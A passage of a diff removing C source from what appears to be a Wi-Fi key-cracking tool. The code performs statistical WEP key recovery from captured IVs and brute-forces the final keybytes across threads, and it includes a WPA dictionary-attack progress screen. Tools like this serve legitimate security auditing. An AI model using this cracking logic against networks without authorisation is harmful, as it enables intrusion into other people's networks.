-			perror("write failed");
-			kill(0, SIGTERM);
-			_exit(FAILURE);
-		}
-	}
-
-	return (0);
-}
-
-/* display the current votes */
-
-void show_wep_stats(int B,
-					int force,
-					PTW_tableentry table[PTW_KEYHSBYTES][PTW_n],
-					int choices[KEYHSBYTES],
-					int depth[KEYHSBYTES],
-					int prod)
-{
-	float delta;
-	struct winsize ws;
-	int i, et_h, et_m, et_s;
-	static int is_cleared = 0;
-
-	if ((chrono(&t_stats, 0) < 1.51 || wepkey_crack_success) && force == 0)
-		return;
-
-	if (ioctl(0, TIOCGWINSZ, &ws) < 0)
-	{
-		ws.ws_row = 25;
-		ws.ws_col = 80;
-	}
-
-	chrono(&t_stats, 1);
-
-	delta = chrono(&t_begin, 0);
-
-	et_h = delta / 3600;
-	et_m = (delta - et_h * 3600) / 60;
-	et_s = delta - et_h * 3600 - et_m * 60;
-
-	if (is_cleared == 0)
-	{
-		is_cleared++;
-
-		if (opt.l33t) textcolor_bg(TEXT_BLACK);
-
-		erase_display(2);
-	}
-
-	if (opt.l33t) textcolor(TEXT_BRIGHT, TEXT_BLUE, TEXT_BLACK);
-
-	moveto((ws.ws_col - 12) / 2, 2);
-	printf("%s\n\n", progname);
-
-	if (opt.l33t) textcolor(TEXT_BRIGHT, TEXT_YELLOW, TEXT_BLACK);
-
-	moveto((ws.ws_col - 44) / 2, 5);
-	if (table)
-		printf("[%02d:%02d:%02d] Tested %d keys (got %ld IVs)",
-			   et_h,
-			   et_m,
-			   et_s,
-			   prod,
-			   opt.ap->nb_ivs);
-	else
-		printf("[%02d:%02d:%02d] Tested %lld keys (got %ld IVs)",
-			   et_h,
-			   et_m,
-			   et_s,
-			   nb_tried,
-			   wep.nb_ivs_now);
-	erase_line(0);
-
-	if (opt.l33t)
-	{
-		textcolor_fg(TEXT_GREEN);
-		textcolor_normal();
-	}
-
-	moveto(4, 7);
-	printf("KB    depth   byte(vote)\n");
-
-	for (i = 0; i <= B; i++)
-	{
-		int j, k = (ws.ws_col - 20) / 11;
-
-		if (!table)
-		{
-			if (opt.l33t)
-			{
-				printf("   %2d  ", i);
-				textstyle(TEXT_BRIGHT);
-				printf("%3d", wep.depth[i]);
-				textcolor_fg(TEXT_GREEN);
-				printf("/%3d   ", wep.fudge[i]);
-			}
-			else
-				printf("   %2d  %3d/%3d   ", i, wep.depth[i], wep.fudge[i]);
-		}
-		else
-			printf("   %2d  %3d/%3d   ", i, depth[i], choices[i]);
-
-		if (table)
-		{
-			for (j = depth[i]; j < k + depth[i]; j++)
-			{
-				if (j >= 256) break;
-
-				if (opt.l33t)
-				{
-					textstyle(TEXT_BRIGHT);
-					printf("%02X", table[i][j].b);
-					textcolor_fg(TEXT_GREEN);
-					printf("(%4d) ", table[i][j].votes);
-				}
-				else
-					printf("%02X(%4d) ", table[i][j].b, table[i][j].votes);
-			}
-		}
-		else
-		{
-			for (j = wep.depth[i]; j < k + wep.depth[i]; j++)
-			{
-				if (j >= 256) break;
-
-				if (wep.poll[i][j].val == 32767)
-				{
-					if (opt.l33t)
-					{
-						textstyle(TEXT_BRIGHT);
-						printf("%02X", wep.poll[i][j].idx);
-						textcolor_normal();
-						printf("(+inf) ");
-					}
-					else
-						printf("%02X(+inf) ", wep.poll[i][j].idx);
-				}
-				else
-				{
-					if (opt.l33t)
-					{
-						textstyle(TEXT_BRIGHT);
-						printf("%02X", wep.poll[i][j].idx);
-						textcolor_normal();
-						printf("(%4d) ", wep.poll[i][j].val);
-					}
-					else
-						printf("%02X(%4d) ",
-							   wep.poll[i][j].idx,
-							   wep.poll[i][j].val);
-				}
-			}
-		}
-		if (opt.showASCII && !table)
-			if (wep.poll[i][wep.depth[i]].idx >= ASCII_LOW_T
-				&& wep.poll[i][wep.depth[i]].idx <= ASCII_HIGH_T)
-				if (wep.poll[i][wep.depth[i]].val >= ASCII_VOTE_STRENGTH_T
-					|| ASCII_DISREGARD_STRENGTH)
-					printf("  %c", wep.poll[i][wep.depth[i]].idx);
-
-		printf("\n");
-	}
-
-	if (B < opt.keylen - 1) erase_display(0);
-
-	printf("\n");
-}
-
-static void key_found(unsigned char * wepkey, int keylen, int B)
-{
-	FILE * keyFile;
-	int i, n;
-	int nb_ascii = 0;
-
-	if (opt.probability < 1) return;
-
-	for (i = 0; i < keylen; i++)
-		if (wepkey[i] == 0 || (wepkey[i] >= 32 && wepkey[i] < 127)) nb_ascii++;
-
-	wepkey_crack_success = 1;
-	memcpy(bf_wepkey, wepkey, keylen);
-
-	if (opt.is_quiet)
-		printf("KEY FOUND! [ ");
-	else
-	{
-		if (B != -1) show_wep_stats(B - 1, 1, NULL, NULL, NULL, 0);
-
-		if (opt.l33t)
-		{
-			textstyle(TEXT_BRIGHT);
-			textcolor_fg(TEXT_RED);
-		}
-
-		n = (80 - 14 - keylen * 3) / 2;
-
-		if (100 * nb_ascii > 75 * keylen) n -= (keylen + 4) / 2;
-
-		if (n <= 0) n = 0;
-
-		erase_line(0);
-		move(CURSOR_FORWARD, n);
-		printf("KEY FOUND! [ ");
-	}
-
-	for (i = 0; i < keylen - 1; i++) printf("%02X:", wepkey[i]);
-	printf("%02X ] ", wepkey[i]);
-
-	if (nb_ascii == keylen)
-	{
-		printf("(ASCII: ");
-
-		for (i = 0; i < keylen; i++)
-			printf("%c",
-				   ((wepkey[i] > 31 && wepkey[i] < 127) || wepkey[i] > 160)
-					   ? wepkey[i]
-					   : '.');
-
-		printf(" )");
-	}
-
-	if (opt.l33t)
-	{
-		textcolor_fg(TEXT_GREEN);
-		textcolor_normal();
-	}
-
-	printf("\n\tDecrypted correctly: %d%%\n", opt.probability);
-	printf("\n");
-
-	// Write the key to a file
-	if (opt.logKeyToFile != NULL)
-	{
-		keyFile = fopen(opt.logKeyToFile, "w");
-		if (keyFile != NULL)
-		{
-			for (i = 0; i < keylen; i++) fprintf(keyFile, "%02X", wepkey[i]);
-			fclose(keyFile);
-		}
-	}
-}
-
-/* test if the current WEP key is valid */
-
-static int check_wep_key(unsigned char * wepkey, int B, int keylen)
-{
-	unsigned char x1, x2;
-	unsigned long xv;
-	int i, j, n, bad, tests;
-
-	unsigned char K[64];
-	unsigned char S[256];
-
-	if (keylen <= 0) keylen = opt.keylen;
-
-	pthread_mutex_lock(&mx_nb);
-	nb_tried++;
-	pthread_mutex_unlock(&mx_nb);
-
-	bad = 0;
-
-	memcpy(K + 3, wepkey, keylen);
-
-	tests = 32;
-
-	// 	printf("keylen: %d\n", keylen);
-	// 	if(keylen==13)
-	// 		printf("%02X:%02X:%02X:%02X:%02X\n",
-	// wepkey[8],wepkey[9],wepkey[10],wepkey[11],wepkey[12]);
-
-	if (opt.dict) tests = wep.nb_ivs;
-
-	if (tests < TEST_MIN_IVS) tests = TEST_MIN_IVS;
-	if (tests > TEST_MAX_IVS) tests = TEST_MAX_IVS;
-
-	for (n = 0; n < tests; n++)
-	{
-		/* xv = 5 * ( rand() % wep.nb_ivs ); */
-		xv = 5 * n;
-
-		pthread_mutex_lock(&mx_ivb);
-
-		memcpy(K, &wep.ivbuf[xv], 3);
-		memcpy(S, R, 256);
-
-		for (i = j = 0; i < 256; i++)
-		{
-			j = (j + S[i] + K[i % (3 + keylen)]) & 0xFF;
-			SWAP(S[i], S[j]);
-		}
-
-		i = 1;
-		j = (0 + S[i]) & 0xFF;
-		SWAP(S[i], S[j]);
-		x1 = wep.ivbuf[xv + 3] ^ S[(S[i] + S[j]) & 0xFF];
-
-		i = 2;
-		j = (j + S[i]) & 0xFF;
-		SWAP(S[i], S[j]);
-		x2 = wep.ivbuf[xv + 4] ^ S[(S[i] + S[j]) & 0xFF];
-
-		pthread_mutex_unlock(&mx_ivb);
-
-		//		printf("xv: %li x1: %02X  x2: %02X\n", (xv/5), x1, x2);
-
-		if ((x1 != 0xAA || x2 != 0xAA) && (x1 != 0xE0 || x2 != 0xE0)
-			&& (x1 != 0x42 || x2 != 0x42)
-			&& (x1 != 0x02 || x2 != 0xAA)) // llc sub layer management
-			bad++;
-
-		if (bad > ((tests * opt.probability) / 100)) return (FAILURE);
-	}
-
-	opt.probability = (((tests - bad) * 100) / tests);
-	key_found(wepkey, keylen, B);
-
-	return (SUCCESS);
-}
-
-/* routine used to sort the votes */
-
-static int cmp_votes(const void * bs1, const void * bs2)
-{
-	if (((vote *) bs1)->val < ((vote *) bs2)->val) return (1);
-
-	if (((vote *) bs1)->val > ((vote *) bs2)->val) return (-1);
-
-	return (0);
-}
-
-/* sum up the votes and sort them */
-
-static int calc_poll(int B)
-{
-	int i, n, cid, *vi;
-	int votes[N_ATTACKS][256];
-
-	memset(&opt.votes, '\0', sizeof(opt.votes));
-
-	/* send the current keybyte # to each thread */
-
-	for (cid = 0; cid < opt.nbcpu; cid++)
-	{
-		n = sizeof(int);
-
-		if (safe_write(mc_pipe[cid][1], &B, n) != n)
-		{
-			perror("write failed");
-			kill(0, SIGTERM);
-			_exit(FAILURE);
-		}
-	}
-
-	/* collect the votes, multiply by the korek coeffs */
-
-	for (i = 0; i < 256; i++)
-	{
-		wep.poll[B][i].idx = i;
-		wep.poll[B][i].val = 0;
-	}
-
-	for (cid = 0; cid < opt.nbcpu; cid++)
-	{
-		n = sizeof(votes);
-
-		if (safe_read(cm_pipe[cid][0], votes, n) != n)
-		{
-			perror("read failed");
-			kill(0, SIGTERM);
-			_exit(FAILURE);
-		}
-
-		for (n = 0, vi = (int *) votes; n < N_ATTACKS; n++)
-			for (i = 0; i < 256; i++, vi++)
-			{
-				wep.poll[B][i].val += *vi * K_COEFF[n];
-				if (K_COEFF[n]) opt.votes[n] += *vi;
-			}
-	}
-
-	/* set votes to the max if the keybyte is user-defined */
-
-	if (opt.debug_row[B]) wep.poll[B][opt.debug[B]].val = 32767;
-
-	/* if option is set, restrict keyspace to alpha-numeric */
-
-	if (opt.is_alnum)
-	{
-		for (i = 1; i < 32; i++) wep.poll[B][i].val = -1;
-
-		for (i = 127; i < 256; i++) wep.poll[B][i].val = -1;
-	}
-
-	if (opt.is_fritz)
-	{
-		for (i = 0; i < 48; i++) wep.poll[B][i].val = -1;
-
-		for (i = 58; i < 256; i++) wep.poll[B][i].val = -1;
-	}
-
-	/* if option is set, restrict keyspace to BCD hex digits */
-
-	if (opt.is_bcdonly)
-	{
-		for (i = 1; i < 256; i++)
-			if (i > 0x99 || (i & 0x0F) > 0x09) wep.poll[B][i].val = -1;
-	}
-
-	/* sort the votes, highest ones first */
-
-	qsort(wep.poll[B], 256, sizeof(vote), cmp_votes);
-
-	return (SUCCESS);
-}
-
-static int update_ivbuf(void)
-{
-	int n;
-	struct AP_info * ap_cur;
-	void * key;
-
-	/* 1st pass: compute the total number of available IVs */
-
-	wep.nb_ivs_now = 0;
-	wep.nb_aps = 0;
-	// ap_cur = ap_1st;
-	c_avl_iterator_t * it = c_avl_get_iterator(access_points);
-
-	while (c_avl_iterator_next(it, &key, (void **) &ap_cur) == 0)
-	{
-		if (ap_cur->crypt == 2 && ap_cur->target)
-		{
-			wep.nb_ivs_now += ap_cur->nb_ivs;
-			wep.nb_aps++;
-		}
-	}
-	c_avl_iterator_destroy(it);
-	it = NULL;
-
-	/* 2nd pass: create the main IVs buffer if necessary */
-
-	if (wep.nb_ivs == 0
-		|| (opt.keylen == 5 && wep.nb_ivs_now - wep.nb_ivs > 20000)
-		|| (opt.keylen >= 13 && wep.nb_ivs_now - wep.nb_ivs > 40000))
-	{
-		/* one buffer to rule them all */
-
-		pthread_mutex_lock(&mx_ivb);
-
-		if (wep.ivbuf != NULL)
-		{
-			free(wep.ivbuf);
-			wep.ivbuf = NULL;
-		}
-
-		wep.nb_ivs = 0;
-
-		it = c_avl_get_iterator(access_points);
-		while (c_avl_iterator_next(it, &key, (void **) &ap_cur) == 0)
-		{
-			if (ap_cur->crypt == 2 && ap_cur->target)
-			{
-				n = ap_cur->nb_ivs;
-
-				if ((wep.ivbuf = realloc(wep.ivbuf, (wep.nb_ivs + n) * 5))
-					== NULL)
-				{
-					pthread_mutex_unlock(&mx_ivb);
-					perror("realloc failed");
-					kill(0, SIGTERM);
-					_exit(FAILURE);
-				}
-
-				memcpy(wep.ivbuf + wep.nb_ivs * 5, ap_cur->ivbuf, 5 * n);
-
-				wep.nb_ivs += n;
-			}
-		}
-		c_avl_iterator_destroy(it);
-		it = NULL;
-
-		pthread_mutex_unlock(&mx_ivb);
-
-		return (RESTART);
-	}
-
-	return (SUCCESS);
-}
-
-/*
- * It will remove votes for a specific keybyte (and remove from the requested
- * current value)
- * Return 0 on success, another value on failure
- */
-static int remove_votes(int keybyte, unsigned char value)
-{
-	int i;
-	int found = 0;
-	for (i = 0; i < 256; i++)
-	{
-		if (wep.poll[keybyte][i].idx == (int) value)
-		{
-			found = 1;
-			// wep.poll[keybyte][i].val = 0;
-			// Update wep.key
-		}
-		if (found)
-		{
-			// Put the value at the end with NO votes
-			if (i == 255)
-			{
-				wep.poll[keybyte][i].idx = (int) value;
-				wep.poll[keybyte][i].val = 0;
-			}
-			else
-			{
-				wep.poll[keybyte][i].idx = wep.poll[keybyte][i + 1].idx;
-				wep.poll[keybyte][i].val = wep.poll[keybyte][i + 1].val;
-				if (i == 0)
-				{
-					// Also update wep key if it's the first value to remove
-					wep.key[keybyte] = wep.poll[keybyte][i].idx;
-				}
-			}
-		}
-	}
-	return 0;
-}
-
-/* standard attack mode: */
-/* this routine gathers and sorts the votes, then recurses until it *
- * reaches B == keylen. It also stops when the current keybyte vote *
- * is lower than the highest vote divided by the fudge factor.      */
-
-static int do_wep_crack1(int B)
-{
-	int i, j, l, m, tsel, charread;
-	int remove_keybyte_nr, remove_keybyte_value;
-	// int a,b;
-	static int k = 0;
-	char user_guess[4];
-
-get_ivs:
-
-	switch (update_ivbuf())
-	{
-		case FAILURE:
-			return (FAILURE);
-		case RESTART:
-			return (RESTART);
-		default:
-			break;
-	}
-
-	if ((wep.nb_ivs_now < 256 && opt.debug[0] == 0)
-		|| (wep.nb_ivs_now < 32 && opt.debug[0] != 0))
-	{
-		if (!opt.no_stdin)
-		{
-			printf("Not enough IVs available. You need about 250 000 IVs to "
-				   "crack\n"
-				   "40-bit WEP, and more than 800 000 IVs to crack a 104-bit "
-				   "key.\n");
-			kill(0, SIGTERM);
-			_exit(FAILURE);
-		}
-		else
-		{
-			printf(
-				"Read %ld packets, got %ld IVs...\r", nb_pkt, wep.nb_ivs_now);
-			fflush(stdout);
-
-			sleep(1);
-			goto get_ivs;
-		}
-	}
-
-	/* if last keybyte reached, check if the key is valid */
-
-	if (B == opt.keylen)
-	{
-		if (!opt.is_quiet) show_wep_stats(B - 1, 0, NULL, NULL, NULL, 0);
-
-		return (check_wep_key(wep.key, B, 0));
-	}
-
-	/* now compute the poll results for keybyte B */
-
-	if (calc_poll(B) != SUCCESS) return (FAILURE);
-
-	/* fudge threshold = highest vote divided by fudge factor */
-
-	for (wep.fudge[B] = 1; wep.fudge[B] < 256; wep.fudge[B]++)
-		if ((float) wep.poll[B][wep.fudge[B]].val
-			< (float) wep.poll[B][0].val / opt.ffact)
-			break;
-
-	/* try the most likely n votes, where n is the fudge threshold */
-
-	for (wep.depth[B] = 0;
-		 wep.fudge[B] > 0 && wep.fudge[B] < 256 && wep.depth[B] < wep.fudge[B];
-		 wep.depth[B]++)
-	{
-		switch (update_ivbuf())
-		{
-			case FAILURE:
-				return (FAILURE);
-			case RESTART:
-				return (RESTART);
-			default:
-				break;
-		}
-
-		wep.key[B] = wep.poll[B][wep.depth[B]].idx;
-
-		if (!opt.is_quiet)
-		{
-			show_wep_stats(B, 0, NULL, NULL, NULL, 0);
-		}
-
-		if (B == 4 && opt.keylen == 13)
-		{
-			/* even when cracking 104-bit WEP, *
-			 * check if the 40-bit key matches */
-
-			/* opt.keylen = 5; many functions use keylen. it is dangerous to do
-			 * this in a multithreaded process */
-
-			if (check_wep_key(wep.key, B, 5) == SUCCESS)
-			{
-				opt.keylen = 5;
-				return (SUCCESS);
-			}
-
-			/* opt.keylen = 13; */
-		}
-
-		if (B + opt.do_brute + 1 == opt.keylen && opt.do_brute)
-		{
-			/* as noted by Simon Marechal, it's more efficient
-			 * to just bruteforce the last two keybytes. */
-
-			/*
-				Ask for removing votes here
-				1. Input keybyte. Use enter when it's done => Bruteforce will
-			   start
-				2. Input value to remove votes from: 00 -> FF or Enter to cancel
-			   remove
-				3. Remove votes
-				4. Redraw
-				5. Go back to 1
-			*/
-			if (opt.visual_inspection == 1)
-			{
-				while (1)
-				{
-					// Show the current stat
-					show_wep_stats(B, 1, NULL, NULL, NULL, 0);
-
-					// Inputting user value until it hits enter or give a valid
-					// value
-					printf("On which keybyte do you want to remove votes (Hit "
-						   "Enter when done)? ");
-					memset(user_guess, 0, 4);
-
-					charread = readLine(user_guess, 3);
-
-					// Break if 'Enter' key was hit
-					if (user_guess[0] == 0 || charread == 0) break;
-
-					// If it's not a number, reask
-					// Check if inputted value is correct (from 0 to and
-					// inferior to opt.keylen)
-					remove_keybyte_nr = atoi(user_guess);
-					if (isdigit((int) user_guess[0]) == 0
-						|| remove_keybyte_nr < 0
-						|| remove_keybyte_nr >= opt.keylen)
-						continue;
-
-					// It's a number for sure and the number is correct
-					// Now ask which value should be removed
-					printf("From which keybyte value do you want to remove the "
-						   "votes (Hit Enter to cancel)? ");
-					memset(user_guess, 0, 4);
-					charread = readLine(user_guess, 3);
-
-					// Break if enter was hit
-					if (user_guess[0] == 0 || charread == 0) continue;
-
-					remove_keybyte_value = hexToInt(user_guess, charread);
-
-					// Check if inputted value is correct (hexa). Value range:
-					// 00 - FF
-					if (remove_keybyte_value < 0 || remove_keybyte_value > 255)
-						continue;
-
-					// If correct, remove and redraw
-					remove_votes(remove_keybyte_nr,
-								 (unsigned char) remove_keybyte_value);
-				}
-			}
-			if (opt.nbcpu == 1 || opt.do_mt_brute == 0)
-			{
-
-				if (opt.do_brute == 4)
-				{
-					for (l = 0; l < 256; l++)
-					{
-						wep.key[opt.brutebytes[0]] = l;
-
-						for (m = 0; m < 256; m++)
-						{
-							wep.key[opt.brutebytes[1]] = m;
-
-							for (i = 0; i < 256; i++)
-							{
-								wep.key[opt.brutebytes[2]] = i;
-
-								for (j = 0; j < 256; j++)
-								{
-									wep.key[opt.brutebytes[3]] = j;
-
-									if (check_wep_key(wep.key, B + 1, 0)
-										== SUCCESS)
-										return SUCCESS;
-								}
-							}
-						}
-					}
-				}
-				else if (opt.do_brute == 3)
-				{
-					for (m = 0; m < 256; m++)
-					{
-						wep.key[opt.brutebytes[0]] = m;
-
-						for (i = 0; i < 256; i++)
-						{
-							wep.key[opt.brutebytes[1]] = i;
-
-							for (j = 0; j < 256; j++)
-							{
-								wep.key[opt.brutebytes[2]] = j;
-
-								if (check_wep_key(wep.key, B + 1, 0) == SUCCESS)
-									return SUCCESS;
-							}
-						}
-					}
-				}
-				else if (opt.do_brute == 2)
-				{
-					for (i = 0; i < 256; i++)
-					{
-						wep.key[opt.brutebytes[0]] = i;
-
-						for (j = 0; j < 256; j++)
-						{
-							wep.key[opt.brutebytes[1]] = j;
-
-							if (check_wep_key(wep.key, B + 1, 0) == SUCCESS)
-								return SUCCESS;
-						}
-					}
-				}
-				else
-				{
-					for (i = 0; i < 256; i++)
-					{
-						wep.key[opt.brutebytes[0]] = i;
-
-						if (check_wep_key(wep.key, B + 1, 0) == SUCCESS)
-							return SUCCESS;
-					}
-				}
-			}
-			else
-			{
-				/* multithreaded bruteforcing of the last 2 keybytes */
-				k = (k + 1) % opt.nbcpu;
-				do
-				{
-					for (tsel = 0; tsel < opt.nbcpu && !wepkey_crack_success;
-						 ++tsel)
-					{
-						if (bf_nkeys[(tsel + k) % opt.nbcpu] > 16)
-						{
-							usleep(1);
-							continue;
-						}
-						else
-						{
-							/* write our current key to the pipe so it'll have
-							 * its last 2 bytes bruteforced */
-							bf_nkeys[(tsel + k) % opt.nbcpu]++;
-
-							if (safe_write(bf_pipe[(tsel + k) % opt.nbcpu][1],
-										   (void *) wep.key,
-										   64)
-								!= 64)
-							{
-								perror("write pmk failed");
-								kill(0, SIGTERM);
-								_exit(FAILURE);
-							}
-							break;
-						}
-					}
-				} while (tsel >= opt.nbcpu && !wepkey_crack_success);
-
-				if (wepkey_crack_success)
-				{
-					memcpy(wep.key, bf_wepkey, opt.keylen);
-					return (SUCCESS);
-				}
-			}
-		}
-		else
-		{
-			switch (do_wep_crack1(B + 1))
-			{
-				case SUCCESS:
-					return (SUCCESS);
-				case RESTART:
-					return (RESTART);
-				default:
-					break;
-			}
-		}
-	}
-
-	// if we are going to fail on the root byte, check again if there are still
-	// threads bruting, if so wait and check again.
-	if (B == 0)
-	{
-		for (i = 0; i < opt.nbcpu; i++)
-		{
-			while (bf_nkeys[i] > 0 && !wepkey_crack_success) usleep(1);
-		}
-		if (wepkey_crack_success)
-		{
-			memcpy(wep.key, bf_wepkey, opt.keylen);
-			return (SUCCESS);
-		}
-	}
-	return (FAILURE);
-}
-
-/* experimental single bruteforce attack */
-
-static int do_wep_crack2(int B)
-{
-	int i, j;
-
-	switch (update_ivbuf())
-	{
-		case FAILURE:
-			return (FAILURE);
-		case RESTART:
-			return (RESTART);
-		default:
-			break;
-	}
-
-	if (wep.nb_ivs_now / opt.keylen < 60000)
-	{
-		printf(
-			"Not enough IVs available. This option is only meant to be used\n"
-			"if the standard attack method fails with more than %d IVs.\n",
-			opt.keylen * 60000);
-		kill(0, SIGTERM);
-		_exit(FAILURE);
-	}
-
-	for (i = 0; i <= B; i++)
-	{
-		if (calc_poll(i) != SUCCESS) return (FAILURE);
-
-		wep.key[i] = wep.poll[i][0].idx;
-
-		wep.fudge[i] = 1;
-		wep.depth[i] = 0;
-
-		if (!opt.is_quiet) show_wep_stats(i, 0, NULL, NULL, NULL, 0);
-	}
-
-	for (wep.fudge[B] = 1; wep.fudge[B] < 256; wep.fudge[B]++)
-		if ((float) wep.poll[B][wep.fudge[B]].val
-			< (float) wep.poll[B][0].val / opt.ffact)
-			break;
-
-	for (wep.depth[B] = 0; wep.depth[B] < wep.fudge[B]; wep.depth[B]++)
-	{
-		switch (update_ivbuf())
-		{
-			case FAILURE:
-				return (FAILURE);
-			case RESTART:
-				return (RESTART);
-			default:
-				break;
-		}
-
-		wep.key[B] = wep.poll[B][wep.depth[B]].idx;
-
-		if (!opt.is_quiet) show_wep_stats(B, 0, NULL, NULL, NULL, 0);
-
-		for (i = B + 1; i < opt.keylen - 2; i++)
-		{
-			if (calc_poll(i) != SUCCESS) return (FAILURE);
-
-			wep.key[i] = wep.poll[i][0].idx;
-
-			wep.fudge[i] = 1;
-			wep.depth[i] = 0;
-
-			if (!opt.is_quiet) show_wep_stats(i, 0, NULL, NULL, NULL, 0);
-		}
-
-		for (i = 0; i < 256; i++)
-		{
-			wep.key[opt.keylen - 2] = i;
-
-			for (j = 0; j < 256; j++)
-			{
-				wep.key[opt.keylen - 1] = j;
-
-				if (check_wep_key(wep.key, opt.keylen - 2, 0) == SUCCESS)
-					return (SUCCESS);
-			}
-		}
-	}
-
-	return (FAILURE);
-}
-
-static int inner_bruteforcer_thread(void * arg)
-{
-	int i, j, k, l, reduce = 0;
-	size_t nthread = (size_t) arg;
-	unsigned char wepkey[64];
-	int ret = 0;
-
-inner_bruteforcer_thread_start:
-
-	reduce = 0;
-
-	if (close_aircrack) return (ret);
-
-	if (wepkey_crack_success) return (SUCCESS);
-
-	/* we get the key for which we'll bruteforce the last 2 bytes from the pipe
-	 */
-	if (safe_read(bf_pipe[nthread][0], (void *) wepkey, 64) != 64)
-	{
-		perror("read failed");
-		kill(0, SIGTERM);
-		_exit(FAILURE);
-	}
-	else
-		reduce = 1;
-
-	if (close_aircrack) return (ret);
-	/* now we test the 256*256 keys... if we succeed we'll save it and exit the
-	 * thread */
-	if (opt.do_brute == 4)
-	{
-		for (l = 0; l < 256; l++)
-		{
-			wepkey[opt.brutebytes[0]] = l;
-
-			for (k = 0; k < 256; k++)
-			{
-				wepkey[opt.brutebytes[1]] = k;
-
-				for (i = 0; i < 256; i++)
-				{
-					wepkey[opt.brutebytes[2]] = i;
-
-					for (j = 0; j < 256; j++)
-					{
-						wepkey[opt.brutebytes[3]] = j;
-
-						if (check_wep_key(wepkey, opt.keylen - 2, 0) == SUCCESS)
-							return (SUCCESS);
-					}
-				}
-			}
-		}
-	}
-	else if (opt.do_brute == 3)
-	{
-		for (k = 0; k < 256; k++)
-		{
-			wepkey[opt.brutebytes[0]] = k;
-
-			for (i = 0; i < 256; i++)
-			{
-				wepkey[opt.brutebytes[1]] = i;
-
-				for (j = 0; j < 256; j++)
-				{
-					wepkey[opt.brutebytes[2]] = j;
-
-					if (check_wep_key(wepkey, opt.keylen - 2, 0) == SUCCESS)
-						return (SUCCESS);
-				}
-			}
-		}
-	}
-	else if (opt.do_brute == 2)
-	{
-		for (i = 0; i < 256; i++)
-		{
-			wepkey[opt.brutebytes[0]] = i;
-
-			for (j = 0; j < 256; j++)
-			{
-				wepkey[opt.brutebytes[1]] = j;
-
-				if (check_wep_key(wepkey, opt.keylen - 2, 0) == SUCCESS)
-					return (SUCCESS);
-			}
-		}
-	}
-	else
-	{
-		for (j = 0; j < 256; j++)
-		{
-			wepkey[opt.brutebytes[0]] = j;
-
-			if (check_wep_key(wepkey, opt.keylen - 2, 0) == SUCCESS)
-				return (SUCCESS);
-		}
-	}
-
-	if (reduce) bf_nkeys[nthread]--;
-
-	goto inner_bruteforcer_thread_start;
-}
-
-/* display the current wpa key info, matrix-like */
-
-static void show_wpa_stats(char * key,
-						   int keylen,
-						   unsigned char pmk[32],
-						   unsigned char ptk[64],
-						   unsigned char mic[16],
-						   int force)
-{
-	float delta, calc, ksec;
-	int i, et_h, et_m, et_s;
-	char tmpbuf[28];
-	long long int remain, eta, cur_nb_kprev;
-
-	if (chrono(&t_stats, 0) < 0.15 && force == 0) return;
-
-	if (force != 0)
-		pthread_mutex_lock(&mx_wpastats); // if forced, wait until we can lock
-	else if (pthread_mutex_trylock(&mx_wpastats)
-			 != 0) // if not forced, just try
-		return;
-
-	chrono(&t_stats, 1);
-
-	delta = chrono(&t_begin, 0);
-
-	et_h = delta / 3600;
-	et_m = (delta - et_h * 3600) / 60;
-	et_s = delta - et_h * 3600 - et_m * 60;
-
-	if ((delta = chrono(&t_kprev, 0)) >= 6)
-	{
-		int delta0;
-		delta0 = delta;
-
-		t_kprev.tv_sec += 3;
-		delta = chrono(&t_kprev, 0);
-
-		if (delta0 <= FLT_EPSILON) goto __out;
-
-		pthread_mutex_lock(&mx_nb);
-		nb_kprev *= delta / delta0;
-		cur_nb_kprev = nb_kprev;
-		pthread_mutex_unlock(&mx_nb);
-	}
-	else
-	{
-		pthread_mutex_lock(&mx_nb);
-		cur_nb_kprev = nb_kprev;
-		pthread_mutex_unlock(&mx_nb);
-	}
-
-	if (delta <= FLT_EPSILON) goto __out;
-
-	if (_speed_test)
-	{
-		int ks = (int) ((float) cur_nb_kprev / delta);
-
-		printf("%d k/s\r", ks);
-		fflush(stdout);
-
-		if (_speed_test_length > 0 && et_s >= _speed_test_length)
-		{
-			printf("\n");
-			exit(0);
-		}
-
-		goto __out;
-	}
-
-	ksec = (float) cur_nb_kprev / delta;
-
-	if (ksec < 1.0f) goto __out;
-
-	moveto(0, 0);
-	erase_display(0);
-
-	if (opt.l33t)
-	{
-		textstyle(TEXT_BRIGHT);
-		textcolor_fg(TEXT_YELLOW);
-	}
-
-	if (opt.stdin_dict)
-	{
-		moveto(20, 5);
-		printf("[%02d:%02d:%02d] %lld keys tested "
-			   "(%2.2f k/s) ",
-			   et_h,
-			   et_m,
-			   et_s,
-			   nb_tried,
-			   (float) cur_nb_kprev / delta);
-	}
-	else
-	{
-		moveto(7, 4);
-		printf("[%02d:%02d:%02d] %lld/%lld keys tested "
-			   "(%2.2f k/s) ",
-			   et_h,
-			   et_m,
-			   et_s,
-			   nb_tried,
-			   opt.wordcount,
-			   (float) cur_nb_kprev / delta);
-
-		moveto(7, 6);
-		printf("Time left: ");
-		if (opt.wordcount != 0 && ksec > FLT_EPSILON)
-		{
-			calc = ((float) nb_tried / (float) opt.wordcount) * 100;
-			remain = (opt.wordcount - nb_tried);
-			eta = (remain / (long long int) ksec);
-
-			calctime(eta, calc);
-		}
-	}
-
-	memset(tmpbuf, ' ', sizeof(tmpbuf));
-	memcpy(tmpbuf, key, keylen > 27 ? 27 : keylen);
-	tmpbuf[27] = '\0';
-
-	if (opt.l33t)
-	{
-		textstyle(TEXT_BRIGHT);
-		textcolor_fg(TEXT_WHITE);
-	}
-
-	moveto(24, 8);
-	printf("Current passphrase: %s\n", tmpbuf);
-
-	if (opt.l33t)
-	{
-		textcolor_normal();
-		textcolor_fg(TEXT_GREEN);
-	}
-
-	moveto(7, 11);
-	printf("Master Key     : ");
-
-	if (opt.l33t)
-	{
-		textstyle(TEXT_BRIGHT);
-		textcolor_fg(TEXT_GREEN);
-	}
-
-	for (i = 0; i < 32; i++)
-	{
-		if (i == 16)
-		{
-			move(CURSOR_BACK, 32 + 16);
-			move(CURSOR_DOWN, 1);
-		}
-		printf("%02X ", pmk[i]);
-	}
-
-	if (opt.l33t)
-	{
-		textcolor_normal();
-		textcolor_fg(TEXT_GREEN);
-	}
-
-	moveto(7, 14);
-	printf("Transient Key  : ");
-
-	if (opt.l33t)
-	{
-		textstyle(TEXT_BRIGHT);
-		textcolor_fg(TEXT_GREEN);
-	}
-
-	for (i = 0; i < 64; i++)
-	{
-		if (i > 0 && i % 16 == 0)
-		{
-			printf("\n");
-			move(CURSOR_FORWARD, 23);
-		}
-		printf("%02X ", ptk[i]);
-	}
-
-	if (opt.l33t)
-	{
-		textcolor_normal();
-		textcolor_fg(TEXT_GREEN);
-	}
-
-	moveto(7, 19);
